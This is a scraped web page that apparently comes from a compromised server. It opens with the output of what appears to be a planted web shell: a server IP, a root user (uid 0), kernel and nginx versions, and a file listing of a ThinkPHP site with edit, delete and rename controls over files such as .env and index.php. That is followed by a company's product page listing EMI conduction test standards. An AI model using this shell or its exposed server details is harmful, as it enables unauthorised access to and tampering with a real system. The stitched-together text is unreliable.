211.149.196.92 - Linux - whoami(root) - 【uid(0) gid(0)】
幸福不是因为得到的多,而是计较的少。苦苦追求没有得到的,不懂得珍惜拥有的,结果只是徒劳伤命。

路径

上传重命名为
上级目录操作属性创建时间修改时间下载
.well-known删除 改名07552025-11-04 14:14:252025-07-08 13:46:56-
about删除 改名05552026-02-02 17:41:192025-07-03 13:38:11-
application删除 改名05552026-02-02 17:41:192025-06-25 09:12:05-
case删除 改名05552026-02-02 17:41:192025-07-03 13:41:07-
cgi-bin删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
company删除 改名05552026-02-02 17:41:192025-07-03 13:38:17-
config删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
contact删除 改名05552026-02-02 17:41:192025-07-03 13:38:15-
cpjcc删除 改名05552026-02-02 17:41:192025-07-03 13:44:30-
cx删除 改名05552026-02-02 17:41:192025-07-03 13:38:16-
database删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
extend删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
honor删除 改名05552026-02-02 17:41:192025-07-09 11:30:05-
html删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
laboratoryEnvironment删除 改名05552026-02-02 17:41:192025-07-09 11:33:00-
news删除 改名05552026-02-02 17:41:192025-07-03 13:39:32-
news3删除 改名05552026-02-02 17:41:192025-07-03 13:41:17-
partners删除 改名05552026-02-02 17:41:192025-07-09 11:32:08-
product1删除 改名05552026-02-02 17:41:192025-11-02 16:35:14-
product2删除 改名05552026-02-02 17:41:192025-07-10 13:25:14-
product2-1删除 改名05552026-02-02 17:41:192025-07-03 13:42:25-
product3删除 改名05552026-02-02 17:41:192025-07-03 13:40:56-
product4删除 改名05552026-02-02 17:41:192025-07-03 13:41:23-
public删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
route删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
runtime删除 改名05552026-02-02 17:41:192025-06-25 09:12:09-
static删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
statics删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
template删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
thinkphp删除 改名05552026-02-02 17:41:192025-06-25 09:12:11-
vendor删除 改名05552026-02-02 17:41:192025-06-25 09:12:11-
wangl删除 改名05552026-02-02 17:41:192025-11-02 16:35:31-
.env编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11555 B
.gitignore编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1154 B
.htaccess编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11218 B
.travis.yml编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.99 K
.user.ini编辑 改名06442025-06-25 09:10:252025-06-25 09:10:2547 B
404.1.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.79 K
404.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:112.65 K
404_en.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.79 K
CHANGELOG.md编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1132.47 K
LICENSE.txt编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.81 K
README.md编辑 改名05552026-02-02 17:41:192025-06-25 09:12:112.23 K
build.php编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.05 K
composer.json编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11823 B
composer.lock编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1118.90 K
index.php编辑 改名05552026-02-02 17:41:192025-11-04 11:38:46834 B
robots.txt编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1126 B
router.php编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11753 B
sitemap.html编辑 改名05552026-02-02 17:41:192025-10-28 13:47:2725.30 K
sitemap.xml编辑 改名05552026-02-02 17:41:192025-10-28 13:47:2762.30 K
think编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11823 B
web.config编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11961 B
目录[32] - 文件[21] - 属性[0555]
Linux ebs-32930 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64
nginx/1.26.1
Conduction test CE_Dongguan Pubiao Testing Technology Co., LTD

CE Conduction

Conduction test CE

Conduction test CE
Details

EMI conduction test (electromagnetic interference conduction emission test) mainly assesses the electromagnetic interference signals emitted outward by electronic and electrical equipment through power lines or other wires. The following are the commonly used EMI conduction test standards in various fields:

1. International standard:

- CISPR 16: Basic Standards for EMI Testing (Measuring Equipment and Measurement Methods)

- CISPR 32/EN 55032: Limits for Conducted emissions from Information Technology Equipment (ITE)

- IEC 61000-6-3: General Standard - Emission Requirements for Residential, Commercial and Light Industrial Environments

- IEC 61000-6-4: General Standard - Emission Requirements for Industrial Environments

2. Regional standards:

North America region

FCC Part 15 Subpart B: Conducted Emission requirements for digital devices in the United States

- ANSI C63.4: American Standard for EMI Conduction Test Methods

Eu region

-EN 55011: Electromagnetic Disturbance Characteristics of industrial, scientific and medical (ISM) radio frequency equipment

- EN 55014-1: Limits of conducted disturbance for household appliances and power tools

-EN 55032: Limits for conducted emissions from information technology equipment (ITE)

-EN55015: Limits of Conducted Disturbance for Luminaires and LED drivers

China

- GB 9254: Limits of Radio Disturbance for Information Technology Equipment (equivalent to CISPR 32)

-GB4343.1: Limits of Conducted Disturbance for Household Appliances and Power Tools

-GB17743: Limits of Conducted Disturbance for Luminaires and LED drivers

- GB 4824: Radio Frequency Disturbance Characteristics of Industrial, Scientific and Medical Equipment (equivalent to CISPR 11)

3. Industry-specific standards:

- Automotive electronics: CISPR 25, ISO 7637-2

- Military equipment: MIL-STD-461G CE101/CE102

- Avionics: DO-160 Section 21

- Medical equipment: IEC 60601-1-2

4. Test frequency range:

The frequency range of conduction tests required by most standards:

-150 KHZ -30MHz (Conductive transmission at power port)

Some standards (such as automotive electronics) may be extended to 108MHz


Telephone

Consultation service hotline0769-81813516 134-2843-6560

Wechat

浜岀淮鐮Scan WeChat to chat

QQ

QQ